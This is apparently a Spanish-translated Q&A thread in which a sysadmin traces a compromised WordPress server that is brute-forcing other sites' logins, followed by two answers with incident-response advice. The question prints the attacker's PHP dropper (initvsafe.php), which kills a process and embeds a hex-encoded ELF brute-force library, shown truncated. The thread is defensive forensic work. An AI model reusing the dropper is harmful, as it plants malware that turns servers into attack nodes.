Soy administrador de sistemas principiante en varios servidores web virtualizados. Recientemente recibimos un correo electrónico informándonos que uno de nuestros servidores se está utilizando para ataques de "fuerza bruta". El contenido del correo electrónico era similar al siguiente.
Saludos,
/somehost/ equipo de abuso desea informarle que hemos tenido intentos masivos de fuerza bruta en el panel de control de Joomla/WordPress en nuestro servidor de alojamiento compartido /somehost/.ru /ip-number/ desde su red, desde la dirección IP /my -dirección IP/
Durante los últimos 30 minutos registramos 1500 intentos como este:
/mi-dirección-ip/ /su-dominio/ - [12/ene/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/mi-dirección-ip/ /su-dominio/ - [12/ene/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/mi-dirección-ip/ /su-dominio/ - [12/ene/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/mi-dirección-ip/ /su-dominio/ - [12/ene/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/mi-dirección-ip/ /su-dominio/ - [12/ene/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
Número total de estos intentos que se han registrado previamente en este servidor (/some-host/.ru)[/their-ip/]:
====
Este mensaje fue enviado automáticamente por el sistema de seguridad /some-company-name/. Su dirección de correo electrónico obtenida de los servicios públicos WhoIs. Lamentamos haberte molestado si has recibido este mensaje por error. Comuníquese con nosotros si su correo electrónico no es relevante para esta dirección IP o red.
====
Gracias, /somehost/ equipo de abuso
http:// /algunhost/ punto ru
/algún número de teléfono en Rusia/,
/algunos datos de contacto más en rusia/
- ¿Qué debo pensar acerca de este correo electrónico? ¿Es esto una estafa o un mensaje importante que no se debe ignorar?
Me resulta extraño que escriban "Joomla/Wordpress" cuando obviamente se puede ver en sus registros que "wp-login.php" es un script PHP de WordPress.
En nuestro servidor alojamos varios blogs de WordPress a través de Webmin/Virtualmin y un servidor Squid al que no se puede acceder desde el exterior.
Observé el tráfico con iftopy nethogsdurante un rato y no veo nada sospechoso. El registro de acceso de Squid me parece normal.
Podemos ver muchos intentos de iniciar sesión en nuestro servidor en el registro "seguro", pero nadie logra acceder.
Consulte el siguiente volcado de seguridad.
an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas
Y otro.
Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130
Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net
Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton
Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2
Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye
Con "quién" puedo ver claramente que solo yo he iniciado sesión a través de SSH.
Hoy actualicé todos los módulos Webmin y Virtualmin y Squid a las versiones más recientes.
- ¿Qué debemos hacer ahora? ¿Cuáles deberían ser nuestros próximos pasos para proteger el servidor contra ataques?
- ¿Es siquiera necesario?
- ¿Qué archivos de registro o configuración deberíamos cambiar/mirar?
EDITAR:
Lo que he hecho hasta ahora:
- Revisé los archivos que cambiaron en la fecha del ataque (teníamos casi 50 GB de tráfico en nuestra IP según nuestro proveedor) con
find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log. Nada ha cambiado. - Revisé AWStats para todos nuestros dominios. Según AWStats, ni siquiera un dominio transfirió más de 40 MB.
- WordPress estaba actualizado el día del ataque.
- Actualicé todos los módulos de Webmin y Virtualmin.
- Actualicé Squid y cambié su puerto a algo distinto de 3128. Dejé solo 80, 443 y 21 como puertos "seguros".
- Actualicé fail2ban.
No quiero desconectar el servidor de Internet como se sugiere en¿Cómo trato con un servidor comprometido?. Nuestros datos están respaldados por lo que actualmente estamos seguros. Sin embargo, me gustaría saber qué causó el ataque, pero todavía no puedo lograrlo.
EDITAR 15.01.2014:
Con nethogspude descubrir que /usr/bin/hostestá recibiendo y enviando muchos más datos de los esperados.
NetHogs version 0.8.0
PID USER PROGRAM DEV SENT RECEIVED
10267 /domain//usr/bin/host eth0 120.571 791.124 KB/sec
30517 /domain/sshd: /domain/@pts/0 eth0 2.177 0.111 KB/sec
? root /ip-address/:39586-119.247.224.98:80 0.000 0.000 KB/sec
? root /ip-address/:55718-69.163.148.232:80 0.000 0.000 KB/sec
? root /ip-address/:38474-184.154.230.15:80 0.000 0.000 KB/sec
? root /ip-address/:46593-66.7.212.199:80 0.000 0.000 KB/sec
? root /ip-address/:58733-202.232.144.194:80 0.000 0.000 KB/sec
? root /ip-address/:41154-83.170.122.1:80 0.000 0.000 KB/sec
? root /ip-address/:39996-98.129.229.146:80 0.000 0.000 KB/sec
? root /ip-address/:39872-98.129.229.146:80 0.000 0.000 KB/sec
? root /ip-address/:37429-144.76.15.247:80 0.000 0.000 KB/sec
? root /ip-address/:35063-216.12.197.226:80 0.000 0.000 KB/sec
? root /ip-address/:51335-153.120.33.64:80 0.000 0.000 KB/sec
? root /ip-address/:58344-64.207.178.120:80 0.000 0.000 KB/sec
? root /ip-address/:55848-69.163.148.232:80 0.000 0.000 KB/sec
? root /ip-address/:46799-66.7.212.199:80 0.000 0.000 KB/sec
? root /ip-address/:38110-66.155.9.238:80 0.000 0.000 KB/sec
? root /ip-address/:39713-76.74.254.120:80 0.000 0.000 KB/sec
? root /ip-address/:33814-209.217.227.30:80 0.000 0.000 KB/sec
? root /ip-address/:41009-212.113.141.212:80 0.000 0.000 KB/sec
? root /ip-address/:57027-173.11.110.117:80 0.000 0.000 KB/sec
? root /ip-address/:45436-83.222.250.186:80 0.000 0.000 KB/sec
? root /ip-address/:59143-202.232.144.194:80 0.000 0.000 KB/sec
? root /ip-address/:43357-217.9.42.182:80 0.000 0.000 KB/sec
? root /ip-address/:32981-82.113.145.170:80 0.000 0.000 KB/sec
? root unknown TCP 0.000 0.000 KB/sec
TOTAL 122.749 791.235 KB/sec
Cuando se ejecuta lsofen el PID, se puede ver claramente que algo anda realmente mal con la instalación de WordPress.
[root@/domain/ logs]# lsof | grep 1706
host 1706 /domain/ cwd DIR 253,0 4096 10178 /home//domain//public_html/wp-content/themes/twentyeleven
host 1706 /domain/ rtd DIR 253,0 4096 2 /
host 1706 /domain/ txt REG 253,0 137592 1054438 /usr/bin/host
host 1706 /domain/ mem REG 253,0 156928 1178048 /lib64/ld-2.12.so
host 1706 /domain/ mem REG 253,0 22536 1178065 /lib64/libdl-2.12.so
host 1706 /domain/ mem REG 253,0 1926800 1178057 /lib64/libc-2.12.so
host 1706 /domain/ mem REG 253,0 145896 1178061 /lib64/libpthread-2.12.so
host 1706 /domain/ mem REG 253,0 91096 1178098 /lib64/libz.so.1.2.3
host 1706 /domain/ mem REG 253,0 358560 1051774 /usr/lib64/libisc.so.83.0.3
host 1706 /domain/ mem REG 253,0 599384 1178963 /lib64/libm-2.12.so
host 1706 /domain/ mem REG 253,0 124624 1178074 /lib64/libselinux.so.1
host 1706 /domain/ mem REG 253,0 113952 1178072 /lib64/libresolv-2.12.so
host 1706 /domain/ mem REG 253,0 1674840 1050692 /usr/lib64/libdns.so.81.4.1
host 1706 /domain/ mem REG 253,0 140568 1051828 /usr/lib64/libisccfg.so.82.0.1
host 1706 /domain/ mem REG 253,0 34696 1051827 /usr/lib64/libisccc.so.80.0.0
host 1706 /domain/ mem REG 253,0 17256 1178085 /lib64/libcom_err.so.2.1
host 1706 /domain/ mem REG 253,0 1953536 1050724 /usr/lib64/libcrypto.so.1.0.1e
host 1706 /domain/ mem REG 253,0 12592 1178067 /lib64/libkeyutils.so.1.3
host 1706 /domain/ mem REG 253,0 46368 1178081 /lib64/libkrb5support.so.0.1
host 1706 /domain/ mem REG 253,0 19016 1178989 /lib64/libcap.so.2.16
host 1706 /domain/ mem REG 253,0 944712 1178089 /lib64/libkrb5.so.3.3
host 1706 /domain/ mem REG 253,0 177520 1178083 /lib64/libk5crypto.so.3.1
host 1706 /domain/ mem REG 253,0 209120 1180550 /lib64/libidn.so.11.6.1
host 1706 /domain/ mem REG 253,0 280520 1178096 /lib64/libgssapi_krb5.so.2.2
host 1706 /domain/ mem REG 253,0 52944 1051829 /usr/lib64/libbind9.so.80.0.4
host 1706 /domain/ mem REG 253,0 75936 1052874 /usr/lib64/liblwres.so.80.0.2
host 1706 /domain/ mem REG 253,0 21152 1178987 /lib64/libattr.so.1.1.0
host 1706 /domain/ mem REG 253,0 1383368 1051772 /usr/lib64/libxml2.so.2.7.6
host 1706 /domain/ DEL REG 253,0 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
host 1706 /domain/ mem REG 253,0 27424 1178071 /lib64/libnss_dns-2.12.so
host 1706 /domain/ mem REG 253,0 65928 1178073 /lib64/libnss_files-2.12.so
host 1706 /domain/ mem REG 253,0 12582912 11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0
host 1706 /domain/ DEL REG 253,0 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so
host 1706 /domain/ 0r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 1r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 2r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 3r CHR 1,3 0t0 3782 /dev/null
spamd 18546 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd 18548 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd 18549 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
Tendré que echarle un vistazo home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so.
Simplemente, todos los archivos que cambiaron en enero de 2014 no están en la instalación estándar del tema Twenty Eleven de WordPress. Por ejemplo, hay un script llamado initvsafe.phpque se puede utilizar para almacenar archivos en el sistema de archivos.
<?php
header("Content-type: text/plain");
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
@system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
...
Respuesta1
Probablemente sea legítimo. La razón por la que no dice explícitamente wordpress es porque es un mensaje automatizado, enviado automáticamente por algún script que detecta ataques como ese y lo informa a los propietarios de la fuente.
Si sus servidores han sido pirateados, lo primero que haría un atacante es instalar binarios modificados para who, ls y comandos similares para ocultar su propia actividad. Y elimine los registros de su inicio de sesión de los registros. Entonces es posible que estés comprometido. ¿Cómo trato con un servidor comprometido?cubre qué hacer.
Lo más probable es que no hayan obtenido acceso a través de SSH, sino a través de algo así como un script PHP que actúa como un servidor proxy. Revise todos sus sitios web en busca de archivos que no pertenezcan. Verifique también los registros de acceso para detectar actividades inusuales. Busque versiones desactualizadas (o incluso actualizadas, pero con vulnerabilidades reportadas) de wordpress, phpmyadmin, etc.
Respuesta2
Es posible que también quieras comprobar si a rkhunter se le ocurre algo sospechoso. El verdadero problema es que una vez que un servidor está comprometido, especialmente si ha parcheado fail2ban y otros paquetes, puede ser más seguro desconectarlo, incluso si es solo para mover parte de la evidencia (registros) a otra máquina. Como mencionó Grant, no puede estar seguro de que los registros no hayan sido manipulados o eliminados para cubrir ninguna pista, así que asuma lo peor.
Es posible que desees echar un vistazo a los registros de fail2ban para ver si también hay algo inusual.
Quizás también desee echar un vistazo rápido a la parte 14.6 del manual de Debian, que trata sobre sistemas comprometidos.